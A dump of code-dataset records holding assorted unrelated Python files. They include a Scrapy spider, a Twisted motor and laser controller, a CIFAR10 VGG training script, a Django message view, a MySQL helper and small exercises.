intervals:\n i = 0\n ok = False\n while (not ok and i < len(rooms)):\n if not rooms[i].occupied(interval):\n rooms[i].intervals.append(interval)\n ok = True\n i += 1\n if not ok:\n rooms.append(Room(interval))\n return len(rooms)\n\n\n\nprint(minimum_rooms([(30, 75), (0, 50), (60, 150)]))\nprint(minimum_rooms([(30, 75), (0, 530), (60, 150),(30, 75), (10, 50), (233, 150),(30, 735), (10, 530), (3, 54),(30, 75), (0, 530), (60, 150),(30, 75), (10, 50), (233, 150),(30, 735), (10, 530), (3, 54),(30, 75), (0, 530), (60, 150),(30, 75), (10, 50), (233, 150),(30, 735), (10, 530), (3, 54),(30, 75), (0, 530), (60, 150),(30, 75), (10, 50), (233, 150),(30, 735), (10, 530), (3, 54)]))\n","sub_path":"DailyProblem/problem21.py","file_name":"problem21.py","file_ext":"py","file_size_in_byte":1507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"307671704","text":"import scrapy\nfrom maoyan.items import MaoyanItem\nfrom scrapy.selector import Selector\n\n\nclass MaoyanSpider(scrapy.Spider):\n # 定义爬虫名称\n name = 'maoyan_movies'\n allowed_domains = ['maoyan.com']\n # 起始URL列表\n start_urls = ['https://maoyan.com/films?showType=3']\n\n # def parse(self, response):\n # pass\n\n # 爬虫启动时，引擎自动调用该方法，并且只会被调用一次，用于生成初始的请求对象（Request）。\n # start_requests()方法读取start_urls列表中的URL并生成Request对象，发送给引擎。\n # 引擎再指挥其他组件向网站服务器发送请求，下载网页\n # 自定义请求网址\n # def start_requests(self):\n # for i in range(0, 10):\n # url = f'https://movie.douban.com/top250?start={i*25}'\n # yield scrapy.Request(url=url, callback=self.parse)\n # # url 请求访问的网址\n # # callback 回调函数，引擎回将下载好的页面(Response对象)发给该方法，执行数据解析\n # # 这里可以使用callback指定新的函数，不是用parse作为默认的回调参数\n\n # 解析函数\n def parse(self, response):\n # print(response.text)\n print(response.url)\n movie_selector_generator = (movie for movie in Selector(\n response=response).xpath('//dl[@class=\"movie-list\"]').xpath('//dd'))\n for i in range(10):\n item = MaoyanItem()\n movie = next(movie_selector_generator)\n film_title = movie.xpath('./div[2]/a/text()').extract()\n item['film_title'] = film_title\n print(film_title)\n movie_type = movie.xpath(\n './div[1]/div[2]/a/div/div[2]/text()').extract()[-1].strip()\n item['movie_type'] = movie_type\n print(movie_type)\n plan_date = movie.xpath(\n './div[1]/div[2]/a/div/div[4]/text()').extract()[-1].strip()\n item['plan_date'] = plan_date\n print(plan_date)\n yield item\n","sub_path":"week01/task02/spiders/maoyan/spiders/maoyan_movies.py","file_name":"maoyan_movies.py","file_ext":"py","file_size_in_byte":2060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"208925204","text":"\"\"\" slit head motor control\n\"\"\"\nfrom __future__ import division, absolute_import\nimport os\n\nfrom twisted.internet.protocol import Protocol, ClientFactory\nfrom twisted.internet.endpoints import TCP4ClientEndpoint\nfrom twisted.internet import reactor\nimport numpy\n# from twisted.internet.defer import Deferred\n\n#@todo, implement timeouts\nclass MotorConfig(object):\n def __init__(self):\n self.configFile = os.path.join(os.getenv(\"PYMAPPER_DIR\"), \"etc\", \"motorConfig.dat\")\n self.hostname = None\n self.port = None\n self.startPos = None\n self.endPos = None\n self.speed = None\n self.slitPos = None\n self.direction = None\n self.loadMe() # load from file and set attrs\n self.checkMe()\n\n\n def loadMe(self):\n slitPos = {}\n slitPopulate = False\n with open(self.configFile, \"r\") as f:\n lines = f.readlines()\n for line in lines:\n line = line.strip()\n if not line:\n continue\n if line.startswith(\"#\"):\n continue\n line = line.lower()\n if line.startswith(\"hostname\"):\n self.hostname = str(self.getlineValue(line))\n elif line.startswith(\"port\"):\n self.port = int(self.getlineValue(line))\n elif line.startswith(\"startpos\"):\n self.startPos = float(self.getlineValue(line))\n elif line.startswith(\"endpos\"):\n self.endPos = float(self.getlineValue(line))\n elif line.startswith(\"speed\"):\n self.speed = float(self.getlineValue(line))\n elif line.startswith(\"slitpos\"):\n # begin populating dict\n slitPopulate = True\n elif line.startswith(\"}\"):\n # done populating dict\n slitPopulate = False\n self.slitPos = slitPos\n elif slitPopulate:\n line = line.strip(\",\")\n fiber, motorPos = line.split(\":\")\n fiber = int(fiber)\n motorPos = float(motorPos)\n slitPos[fiber] = motorPos\n self.direction = numpy.sign(self.endPos-self.startPos)\n\n def getlineValue(self, line):\n return line.split(\"=\")[-1].strip()\n\n def checkMe(self):\n if None in [\n self.hostname,\n self.port,\n self.startPos,\n self.endPos,\n self.speed,\n self.direction\n ]:\n raise RuntimeError(\"Some Missing Motor configuration\")\n # check that all 300 fibers are in slit pos\n if numpy.array_equal(self.slitPos.keys(), range(1,301)) == 300:\n raise RuntimeError(\"Missing motor positions in slit pos config\")\n\n def posFromTime(self, timestamp):\n \"\"\"Return motor position for a given time\n \"\"\"\n return self.startPos + self.direction*self.speed*timestamp\n\nMOTOR_CONFIG = MotorConfig()\n\nclass Command(object):\n def __init__(self, cmdStr, callFunc=None, timeout=0):\n self.cmdStr = cmdStr\n self.callFuncs = []\n if callFunc is not None:\n self.callFuncs.append(callFunc)\n self.isDone = False\n\n def setDone(self):\n if self.isDone:\n raise RuntimeError(\"cannot set command %s done, already done!\"%self.cmdStr)\n print(\"setting %s done!\"%self.cmdStr)\n self.isDone = True\n for func in self.callFuncs:\n func()\n\n def addCallback(self, callFunc):\n self.callFuncs.append(callFunc)\n\nclass MotorProtocol(Protocol):\n\n def __init__(self, motorControllerInstance):\n self.mci = motorControllerInstance\n\n def dataReceived(self, data):\n \"\"\"Called each time a line of data is received from the ASCII controller\n \"\"\"\n self.mci.dataReceived(data)\n\n # def sendCommand(self, cmdStr):\n # \"\"\"Sent ascii text to the ASCII controller\n # \"\"\"\n # self.transport.write(\"%s\\n\" % cmdStr)\n\n def connectionMade(self):\n \"\"\"Called when a connection is made\n \"\"\"\n print(\"connection made\")\n\nclass MotorClientFactory(ClientFactory):\n def __init__(self, motorControllerInstance):\n self.mci = motorControllerInstance\n\n def startedConnecting(self, connector):\n print(\"Started to connect to motor.\")\n\n def buildProtocol(self, addr):\n print(\"Connected to motor.\")\n return MotorProtocol(self.mci)\n\n # def clientConnectionLost(self, connector, reason):\n # print(\"Lost connection to motor. Reason:\", reason)\n\n # def clientConnectionFailed(self, connector, reason):\n # print(\"Connection failed!\")\n #raise RuntimeError(\"Connection to motor failed. Reason:%s\"%reason)\n\n# class MotorStatus(object):\n# def __init__(self):\n# self.speed = None\n# self.currentPosition = None\n# self.targetPosition = None\n# self.isHomed = None\n# self.laserOn = None\n\nclass MotorController(object):\n def __init__(self, readyCallback=None):\n \"\"\"readyCallback called when MotorController is ready to scan!\n \"\"\"\n self.readyCallback = readyCallback\n # self.status = MotorStatus()\n self.mcf = MotorClientFactory(self)\n self.protocol = None # will be set after connection made\n self.currCmd = Command(cmdStr=\"dummy\")\n self.currCmd.setDone()\n self.commandQueue = []\n self.isHomed = False\n\n def addReadyCallback(self, readyCallback):\n self.readyCallback = readyCallback\n\n def connect(self):\n \"\"\"Returns a deferred\n \"\"\"\n point = TCP4ClientEndpoint(reactor, MOTOR_CONFIG.hostname, MOTOR_CONFIG.port)\n connDeferred = point.connect(self.mcf)\n connDeferred.addCallback(self.gotProtocol)\n # and then prepare the controller to scan!\n connDeferred.addCallback(self.prepareToScan)\n # if the connection failed, let us know\n connDeferred.addErrback(self.connFailed)\n\n def disconnect(self):\n print(\"disconnecting from ASCII server\")\n return self.protocol.transport.loseConnection()\n print(\"killing twisted event loop\")\n reactor.stop()\n\n def connFailed(self, failure):\n print(\"conn failed errback\")\n print(str(failure))\n reactor.stop()\n # raise RuntimeError(\"conn failed\", str(failure))\n\n def gotProtocol(self, protocol):\n self.protocol = protocol\n\n def prepareToScan(self, foo):\n print(\"preparing for scan\")\n # foo is ignored arg passed via callback framework\n # could send a stop first...\n self.getStatus(callFunc=self.checkHomeThenMove)\n\n def scan(self, callFunc=None):\n print(\"beginning scan\")\n self.move(MOTOR_CONFIG.endPos)\n self.laserOff(callFunc=callFunc)\n # send motor back to start position\n self.resetAfterScan()\n\n def resetAfterScan(self):\n print(\"resetAfterScan\")\n # foo is ignored arg passed via callback framework\n # could send a stop first...\n # self.getStatus(callFunc=self.checkHomeThenMove)\n self.move(MOTOR_CONFIG.startPos, callFunc=self.disconnect)\n # try killin twisted event loop now?\n # self.protocol.transport.loseConnection()\n # reactor.stop()\n\n\n def checkHomeThenMove(self):\n if not self.isHomed:\n print(\"Slit Head Axis is not homed. Home it before proceeding!\")\n raise RuntimeError(\"Slit Head Axis is not homed. Home it before proceeding!\")\n reactor.stop()\n # raise RuntimeError(\"Slit Head Axis is not homed. Home it before proceeding!\")\n else:\n print(\"Axis is Homed!!\")\n # move motor in position for scan.\n self.setSpeed(MOTOR_CONFIG.speed)\n self.move(MOTOR_CONFIG.startPos)\n self.laserOn(callFunc=self.readyCallback)\n\n def getStatus(self, callFunc=None):\n print(\"getStatus\")\n return self.queueCommand(\"status\", callFunc=callFunc)\n\n def setSpeed(self, value, callFunc=None):\n print(\"set speed to %.2f\"%float(value))\n return self.queueCommand(\"speed %.2f\"%float(value), callFunc=callFunc)\n\n def move(self, value, callFunc=None):\n print(\"move to %.2f\"%float(value))\n return self.queueCommand(\"move %.2f\"%float(value), callFunc=callFunc)\n\n def laserOn(self, callFunc=None):\n print(\"laser on\")\n return self.queueCommand(\"lonn\", callFunc=callFunc)\n\n def laserOff(self, callFunc=None):\n print(\"laser off\")\n return self.queueCommand(\"loff\", callFunc=callFunc)\n\n def dataReceived(self, data):\n if self.currCmd is None:\n print(\"unsolicited dataReceived: %s\"%str(data))\n return # don't do anything with unsolicited output...\n for dataline in data.split(\"\\n\"):\n dataline = dataline.strip().lower()\n if not dataline:\n # ignore blank strings...\n continue\n print(\"laser output:\", dataline)\n # right now I only care if the axis is homed\n # don't care about managing any other status bits,\n # however add a parser here to keep track of things\n # eg if status needs to be checked frequently...\n # data_lowered = data.lower()\n if \"homed\" in dataline:\n if \"not_homed\" in dataline:\n self.isHomed = False\n else:\n self.isHomed = True\n if dataline.endswith(\"ok\"):\n # running command is done\n self.currCmd.setDone()\n\n def sendCommand(self, command):\n if not self.currCmd.isDone:\n raise RuntimeError(\"cannot send %s, currently busy with %s\"%(command.cmdStr, self.currCmd.cmdStr))\n self.currCmd = command\n print(\"sending: \", command.cmdStr)\n self.protocol.transport.write(command.cmdStr)\n\n def queueCommand(self, cmdStr, callFunc=None):\n print(\"queueCommand\", cmdStr)\n command = Command(cmdStr, callFunc=callFunc)\n command.addCallback(self.runQueue)\n self.commandQueue.append(command)\n self.runQueue()\n\n def runQueue(self):\n if not self.currCmd.isDone:\n # do nothing, command already executing\n return\n if self.commandQueue:\n # at least one command waiting to execute\n self.sendCommand(self.commandQueue.pop(0))\n\n\n\n\nif __name__ == \"__main__\":\n mc = None\n def cleanup():\n global mc\n print(\"Cleaning up\")\n mc.resetAfterScan()\n def imready():\n global mc\n print(\"I'm READY!!!!\")\n mc.scan(cleanup)\n mc = MotorController(imready)\n # reactor.callLater(mc.resetAfterScan)\n reactor.run()\n\n\"\"\"\nstatus example:\n\nSLIT_HEAD_AXIS:\n__MOVE_ACTUAL_POSITION 0.0\n__TARGET_POSITION 12.0000000\n__DRIVE_STATUS: OFF\n__MOTOR_CURRENT: 0.0\n__DRIVE_SPEED_SP 0.89999998\n__DRIVE_SPEED 0.89999998\n__DRIVE_ACCEL 20\n__DRIVE_DECEL 20\n__MOVE_RANGE 0.0 - 155.000000\n__HARDWARE_FAULT 0\n__INSTRUCTION_FAULT 0\n__HOMED\nVERTICAL_AXIS:\n__MOVE_ACTUAL_POSITION 13.1517000\n__TARGET_POSITION 13.1999998\n__DRIVE_STATUS: OFF\n__MOTOR_CURRENT: 0.0\n__DRIVE_SPEED_SP 50.0000000\n__DRIVE_SPEED 50.0000000\n__DRIVE_ACCEL 20\n__DRIVE_DECEL 20\n__MOVE_RANGE 0.0 - 950.000000\n__HARDWARE_FAULT 0\n__INSTRUCTION_FAULT 0\nFOOT_SWITCH: OFF\nLASER: OFF\n\n\nnot homed:\n\nstatus\nSTATUS\n\nSLIT_HEAD_AXIS:\n__MOVE_ACTUAL_POSITION -0.01890000\n__TARGET_POSITION 12.0000000\n__DRIVE_STATUS: OFF\n__MOTOR_CURRENT: 0.0\n__DRIVE_SPEED_SP 1.00000000\n__DRIVE_SPEED 1.00000000\n__DRIVE_ACCEL 20\n__DRIVE_DECEL 20\n__MOVE_RANGE 0.0 - 155.000000\n__HARDWARE_FAULT 0\n__INSTRUCTION_FAULT 0\n__NOT_HOMED\nVERTICAL_AXIS:\n__MOVE_ACTUAL_POSITION 13.1517000\n__TARGET_POSITION 13.1999998\n__DRIVE_STATUS: OFF\n__MOTOR_CURRENT: 0.0\n__DRIVE_SPEED_SP 50.0000000\n__DRIVE_SPEED 50.0000000\n__DRIVE_ACCEL 20\n__DRIVE_DECEL 20\n__MOVE_RANGE 0.0 - 950.000000\n__HARDWARE_FAULT 0\n__INSTRUCTION_FAULT 0\nFOOT_SWITCH: OFF\nLASER: OFF\n\nOK\n\n\nhome\nHOME\n\n__SPEED: 1.00000000\n__HOME_ACTUAL_POSITION 9.99999975e-05\nOK\nmove 10\nMOVE 10\n\n__SPEED: 1.00000000\n__MOVE_ACTUAL_POSITION 1.15330005\n__MOVE_ACTUAL_POSITION 2.35339999\n__MOVE_ACTUAL_POSITION 3.55539989\n__MOVE_ACTUAL_POSITION 4.75740004\n__MOVE_ACTUAL_POSITION 5.95730019\n__MOVE_ACTUAL_POSITION 7.15939999\n__MOVE_ACTUAL_POSITION 8.35939980\n__MOVE_ACTUAL_POSITION 9.56140041\n__MOVE_ACTUAL_POSITION 10.0000000\nOK\nhome\nHOME\n\n__SPEED: 1.00000000\n__HOME_ACTUAL_POSITION 9.12380028\n__HOME_ACTUAL_POSITION 8.22379971\n__HOME_ACTUAL_POSITION 7.32229996\n__HOME_ACTUAL_POSITION 6.42070007\n__HOME_ACTUAL_POSITION 5.52069998\n__HOME_ACTUAL_POSITION 4.61920023\n__HOME_ACTUAL_POSITION 3.71919990\n__HOME_ACTUAL_POSITION 2.81769991\n__HOME_ACTUAL_POSITION 1.91770005\n__HOME_ACTUAL_POSITION 1.01619995\n__HOME_ACTUAL_POSITION 0.11480000\n__HOME_ACTUAL_POSITION 0.0\nOK\n\n\nmove then stop\n\nMOVE 10\n\n__SPEED: 1.00000000\n__MOVE_ACTUAL_POSITION 1.15530002\nstop__MOVE_ACTUAL_POSITION 2.35739994\n\nSTOP\n\n\nOK\n\n\nERROR INVALID COMMAND\n\n\n\nstatus while move\n\nMOVE 10\n\n__SPEED: 1.00000000\nstatus\nSTATUS\n\nERROR BUSY MOVING\n__MOVE_ACTUAL_POSITION 1.15540004\n__MOVE_ACTUAL_POSITION 2.35549998\n__MOVE_ACTUAL_POSITION 3.55749989\n__MOVE_ACTUAL_POSITION 4.75950003\n__MOVE_ACTUAL_POSITION 5.95959997\n__MOVE_ACTUAL_POSITION 7.15950012\n__MOVE_ACTUAL_POSITION 8.36159992\n__MOVE_ACTUAL_POSITION 9.56350040\n__MOVE_ACTUAL_POSITION 10.0000000\nOK\n\n\nstatus while home\n\nhome\nHOME\n\n__SPEED: 1.00000000\nstatus\\\n__HOME_ACTUAL_POSITION 9.12250042\nSTATUS\\\n\nERROR BUSY HOMING\n__HOME_ACTUAL_POSITION 8.22239971\n__HOME_ACTUAL_POSITION 7.32240009\n__HOME_ACTUAL_POSITION 6.42100000\n__HOME_ACTUAL_POSITION 5.52099991\n__HOME_ACTUAL_POSITION 4.61940002\n__HOME_ACTUAL_POSITION 3.71790004\n__HOME_ACTUAL_POSITION 2.81640005\n__HOME_ACTUAL_POSITION 1.91649997\n__HOME_ACTUAL_POSITION 1.01489997\n__HOME_ACTUAL_POSITION 0.11340000\n__HOME_ACTUAL_POSITION 0.0\nOK\n\n\"\"\"\n","sub_path":"python/pymapper/motor.py","file_name":"motor.py","file_ext":"py","file_size_in_byte":13918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"327934036","text":"import torch\r\nimport torch.nn as nn\r\nimport torch.optim as optim\r\nfrom tqdm import tqdm\r\nimport torchvision\r\nimport torchvision.transforms as transforms\r\nfrom torch.utils.data.sampler import Sampler\r\nfrom VGG import VGG\r\n\r\n\r\nclass ChunkSampler(Sampler):\r\n \"\"\"Samples elements sequentially from some offset.\r\n Arguments:\r\n num_samples: # of desired datapoints\r\n start: offset where we should start selecting from\r\n \"\"\"\r\n def __init__(self, num_samples, start = 0):\r\n self.num_samples = num_samples\r\n self.start = start\r\n\r\n def __iter__(self):\r\n return iter(range(self.start, self.start + self.num_samples))\r\n\r\n def __len__(self):\r\n return self.num_samples\r\n\r\n\r\nNUM_TRAIN = 49000\r\nNUM_VAL = 1000\r\n\r\ntransform_train = transforms.Compose([\r\n transforms.RandomCrop(32, padding=4),\r\n transforms.RandomHorizontalFlip(),\r\n transforms.ToTensor(),\r\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\r\n])\r\n\r\ntransform_test = transforms.Compose([\r\n transforms.ToTensor(),\r\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\r\n])\r\n\r\n\r\ndef train(from_epoch, to_epoch, learning_rate):\r\n criterion = nn.CrossEntropyLoss()\r\n optimizer = optim.SGD(net.parameters(), lr=learning_rate, momentum=0.9, weight_decay=5e-4)\r\n for epoch in range(from_epoch, to_epoch): # loop over the dataset multiple times\r\n running_loss = 0.0\r\n for i, data in enumerate(trainloader, 0):\r\n # get the inputs\r\n inputs, labels = data\r\n inputs, labels = inputs.to(device), labels.to(device)\r\n\r\n # zero the parameter gradients\r\n optimizer.zero_grad()\r\n\r\n # forward + backward + optimize\r\n outputs = net(inputs)\r\n loss = criterion(outputs, labels)\r\n loss.backward()\r\n optimizer.step()\r\n\r\n # print statistics\r\n running_loss += loss.item()\r\n if i % 10 == 9: # print every 200 mini-batches\r\n print('[%d, %5d] loss: %.3f' %\r\n (epoch + 1, i + 1, running_loss / 200))\r\n correct = 0\r\n total = 0\r\n loss_val = 0\r\n with torch.no_grad():\r\n for data in validloader:\r\n images, labels = data\r\n images, labels = images.to(device), labels.to(device)\r\n outputs = net(images)\r\n l = criterion(outputs, labels)\r\n loss_val += l.item()\r\n _, predicted = torch.max(outputs.data, 1)\r\n total += labels.size(0)\r\n correct += (predicted == labels).sum().item()\r\n print('Validation accuracy: %d %%' % (100 * correct / total))\r\n print('Validation loss: %.3f' % loss_val)\r\n running_loss = 0.0\r\n\r\n print('Finished Training')\r\n\r\n\r\nif __name__ == \"__main__\":\r\n trainset = torchvision.datasets.CIFAR10(root='./data', train=True,\r\n download=True, transform=transform_train)\r\n trainloader = torch.utils.data.DataLoader(trainset, batch_size=128, sampler=ChunkSampler(NUM_TRAIN, 0),\r\n num_workers=2)\r\n\r\n validset = torchvision.datasets.CIFAR10(root='./data', train=True, download=True,\r\n transform=transform_test)\r\n validloader = torch.utils.data.DataLoader(validset, batch_size=128, sampler=ChunkSampler(NUM_VAL, NUM_TRAIN),\r\n num_workers=2)\r\n\r\n testset = torchvision.datasets.CIFAR10(root='./data', train=False,\r\n download=True, transform=transform_test)\r\n testloader = torch.utils.data.DataLoader(testset, batch_size=100,\r\n shuffle=False, num_workers=2)\r\n\r\n classes = ('plane', 'car', 'bird', 'cat',\r\n 'deer', 'dog', 'frog', 'horse', 'ship', 'truck')\r\n\r\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\r\n print(device)\r\n net = VGG('VGG16')\r\n net.to(device)\r\n train(0, 150, 0.01)\r\n\r\n","sub_path":"code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":4274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"556079045","text":"#! /usr/bin/env python\n#coding=utf-8\n\n'''\n给界面导航树使用的数据结构。\n\n\nCreated on 2011-11-2\n\n@author: kency\n\n\n'''\n\nclass TreeNode(object):\n '''\n 树形数据结构的节点。\n id 节点id，string\n name 节点显示名称，string\n children 子节点集合，TreeNode\n data 所包含的数据，object\n parent 父节点，TreeNode\n '''\n def __init__(self):\n self.id = None\n self.name = None\n self.children = []\n self.data = None\n self.parent = None\n\n def append(self, treeNode):\n self.children.append(treeNode)\n treeNode.parent = self\n\n def __repr__(self):\n if isinstance(self.name,unicode):\n name = self.name.encode('utf-8')\n else:\n name = str(self.name)\n return \"TreeNode(name=%r, id=%r, data=%r)\" % (\n str(name),\n self.id,\n self.data\n )\n def dump(self, _indent=0):\n\n return \" \" * _indent + repr(self) + \\\n \"\\n\" + \\\n \"\".join([\n c.dump(_indent + 1)\n for c in self.children]\n )\n","sub_path":"service/com/zctt/iaap/paf/core/treenode.py","file_name":"treenode.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"612730905","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Sep 12 10:39:26 2021\n\n@author: stefan\n\"\"\"\n# This script uses the following character frequency list by Jun DA\n# Combined character frequency list of Classical and Modern Chinese\n# Obtained from: https://lingua.mtsu.edu/chinese-computing/statistics/\n\nfrom icrawler.builtin import GoogleImageCrawler\nimport pandas as pd\ndata=pd.read_csv(\"t_charfreq.csv\")\n\nfor hanzi in data['漢字']:\n google_crawler = GoogleImageCrawler(\n feeder_threads=1,\n parser_threads=1,\n downloader_threads=4,\n storage={'root_dir': 't_img/'+hanzi})\n\n google_crawler.crawl(keyword=hanzi+'書法', offset=0, max_num=4,\n min_size=None, max_size=(400,400), file_idx_offset=0)\n","sub_path":"traditional_chichaana.py","file_name":"traditional_chichaana.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"468205869","text":"#-*- coding:utf-8 -*-\n__author__ = 'TAOQIN001'\nimport pymysql\n\nclass GetMysqlDate(object):\n def __init__(self,host,user,pwd,db):\n self.host = host\n self.user = user\n self.pwd = pwd\n self.db = db\n\n def _get_connect(self):\n if not self.db:\n raise (NameError,\"there is no mysqldbname\")\n self.conn = pymysql.connect(host=self.host,user=self.user,password=self.pwd,database=self.db,charset='utf8')\n cur = self.conn.cursor()\n if not cur:\n raise(NameError,\"fail to connect db\")\n else:\n return cur\n\n #执行查询语句\n def exec_query(self,sql):\n cur = self._get_connect()\n cur.execute(sql.encode(\"utf-8\"))\n resList = cur.fetchall()\n self.conn.close()\n return resList\n\n #执行非查询语句\n def exec_not_query(self,sql):\n cur = self._get_connect()\n cur.execute(sql.encode(\"utf-8\"))\n self.conn.commit()\n self.conn.close()\n\n # if __name__==\"__main__\":\n # db=GetMysqlDate(\"localhost\",\"root\",\"root\",\"autotest\")\n # result = db.exec_not_query(\"INSERT INTO jk_elapsedtime_count (project_name, suite_f_name, suite_s_name, elapsed_time) VALUES ('testpro', 'testfather', 'testson', 0.311)\")\n # print result\n","sub_path":"common/getmysqldata.py","file_name":"getmysqldata.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"240136015","text":"def read_int(prompt, list_of_choices):\n \"\"\"\n Let the user pick an item out of a menu of numbered choices (starting with 1)\n :param prompt: The prompt to display to the user\n :param list_of_choices: List of strings representing the values to pick from\n :return: index of the user's choice\n \"\"\"\n selected_value = None\n while selected_value is None:\n for idx, choice_name in enumerate(list_of_choices, start=1):\n print(str(idx) + \") \" + choice_name)\n selected_str = input(prompt)\n try:\n selected_value = int(selected_str)\n if (selected_value < 1) or (selected_value > len(list_of_choices)):\n print(\"Please enter a number between %i and %i.\\n\" % (1, len(list_of_choices)))\n selected_value = None\n except ValueError:\n print(\"Unable to parse \\\"%s\\\" as a number.\\n\" % selected_str)\n return selected_value\n","sub_path":"sim/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"181604552","text":"# coding=UTF-8\n\n\n\nfrom django.shortcuts import redirect\nfrom django.template.context_processors import csrf\nfrom django.utils.html import MLStripper\nfrom django.utils.translation import ugettext as _\nfrom django.views import generic\n\nfrom app.models.conversation import Conversation, Message\nfrom app.models.personne import Personne, Activite\nfrom app.views.common import LoginRequiredMixin\n\n\nclass PostMessageView(LoginRequiredMixin, generic.TemplateView):\n \"\"\"\n Vue utilisée par celles qui gèrent l'envoi de message via les formulaires\n Au moment où j'écris il y a index.py, contact_detail.py et index.py\n \"\"\"\n url_redirect = None\n\n def get_context_data(self, **kwargs):\n context = super(PostMessageView, self).get_context_data(**kwargs)\n if self.request.session.get('message', None):\n context['message'] = self.request.session['message']\n del self.request.session['message']\n return context\n\n def post(self, request, *args, **kwargs):\n # Suppression de toutes les tentatives de hack :\n if not request.POST.get('csrfmiddlewaretoken'):\n return redirect(self.url_redirect)\n\n # ! Comparaison codée en dur, je ne sais pas comment faire autrement :\n if request.POST['csrfmiddlewaretoken'] != csrf(request)['csrf_token']:\n return redirect(self.url_redirect)\n\n if request.POST.get('message'):\n dst = None\n\n # p = Personne liée au User en cours\n p = Personne.objects.get(user=self.request.user)\n\n # c = conversation en cours\n c = None\n\n # Nettoyage du message :\n s = MLStripper()\n s.feed(request.POST['message'])\n message = s.get_data()\\\n .replace('\\n', ' ').replace('\\r', '')\n\n # ! ici deux posts possibles : Activite ou Conversation\n if request.POST.get('id_activite'):\n try:\n id_activite = int(request.POST['id_activite'])\n except ValueError:\n id_activite = None\n if isinstance(id_activite, int):\n a = Activite.objects.get(pk=id_activite)\n if a.relation:\n dst = a.relation.src\n else:\n dst = a.travel.personne\n elif request.POST.get('id_conversation'):\n try:\n id_conversation = int(request.POST['id_conversation'])\n except ValueError:\n id_conversation = None\n if isinstance(id_conversation, int):\n c = Conversation.objects.get(pk=id_conversation)\n print(c)\n m = Message.objects.filter(conversations__exact=c) \\\n .values_list('src', 'dst')\n print(m)\n\n # réduire groupes de valeurs en un tableau unique :\n # -> ids de *tous* les participants *sauf* user actuel\n m = [a for a in sorted(set().union(*m)) if a != p.pk]\n print(request.POST)\n print(m)\n\n # au moment où j'écris, uniquement *deux* participants\n # moins le user en cours :\n if len(m) == 1:\n dst = Personne.objects.get(pk=m[0])\n\n elif request.POST.get('id_personne'):\n try:\n id_personne = int(request.POST['id_personne'])\n except ValueError:\n id_personne = None\n if isinstance(id_personne, int):\n try:\n dst = Personne.objects.get(pk=id_personne)\n # (!) Reste à faire côté sécurité : vérifier que\n # dst est vraiment un contact du User en cours\n except Personne.DoesNotExist: # hack\n dst = None\n\n if isinstance(dst, Personne):\n # Ok, on sait à qui écrire :\n # conversation peut être déjà calculée avant -> vérifier :\n if isinstance(c, Conversation):\n m = Message.objects.create(src=p, dst=dst,\n message=message)\n m.save()\n c.messages.add(m)\n c.save()\n else: # Envoyer un message à l'autre personne :\n Conversation.add_message(p, dst, message)\n\n self.request.session['message'] = (\n _('Message sent'),\n _('Click to hide'))\n\n elif request.POST.get('message_id'):\n # pas de message dans le POST, message_id = \"marquer comme lu\"\n try:\n message_id = int(request.POST['message_id'])\n except ValueError:\n message_id = None\n if isinstance(message_id, int):\n try:\n m = Message.objects.get(pk=message_id)\n m.is_read = True\n m.save()\n except Message.DoesNotExist:\n pass\n\n return redirect(self.url_redirect)\n\n\n","sub_path":"app/views/my_home/post_message_view.py","file_name":"post_message_view.py","file_ext":"py","file_size_in_byte":5272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"126405307","text":"\"\"\"Calculates a Checksum from CSV\"\"\"\n\nimport csv\n\ndef get_values(row):\n \"\"\"Gets the largest and smallest values from a list of numbers\"\"\"\n for curr_num in row:\n for num in row:\n if num != curr_num:\n mod_check = int(curr_num)%int(num)\n if mod_check == 0:\n value = int(curr_num)/int(num)\n return value\n\ndef main():\n \"\"\"Calculates a Checksum from CSV\"\"\"\n with open(\"../puzzle_input.csv\") as file:\n csv_reader = csv.reader(file, delimiter='\\t')\n num_list = []\n for row in csv_reader:\n value = get_values(row)\n num_list.append(int(value))\n checksum = sum(num_list)\n print(\"Checksum: %s\" % checksum)\n\nif __name__ == '__main__':\n main()\n ","sub_path":"day2/python/solve_puzzle_2.py","file_name":"solve_puzzle_2.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"223722160","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2019/10/10 16:41\n# @Author : cqh\n# @file : function_global.py\n# @Software \" PyCharm\nx = 50\n\ndef func():\n global x\n print('x is', x)\n x = 2\n print('Changed global x to', x)\n\nfunc()\nprint('Value of x is', x)\n","sub_path":"py_cqh/function_global.py","file_name":"function_global.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"221199144","text":"# -*- coding: utf-8 -*-\n\nfrom app import utils\nfrom app.model import Base\nfrom app.model.Base import STATUS_INVALID, STATUS_VALID\nfrom peewee import MySQLDatabase, Model, BigIntegerField,CharField, BooleanField, \\\n DecimalField, IntegerField, TextField, DateField, DateTimeField, fn\n\nfrom playhouse.shortcuts import model_to_dict, dict_to_model\n\nfrom datetime import datetime\n\n\n# 机构管理\nclass Administrator(Base.BaseModel):\n 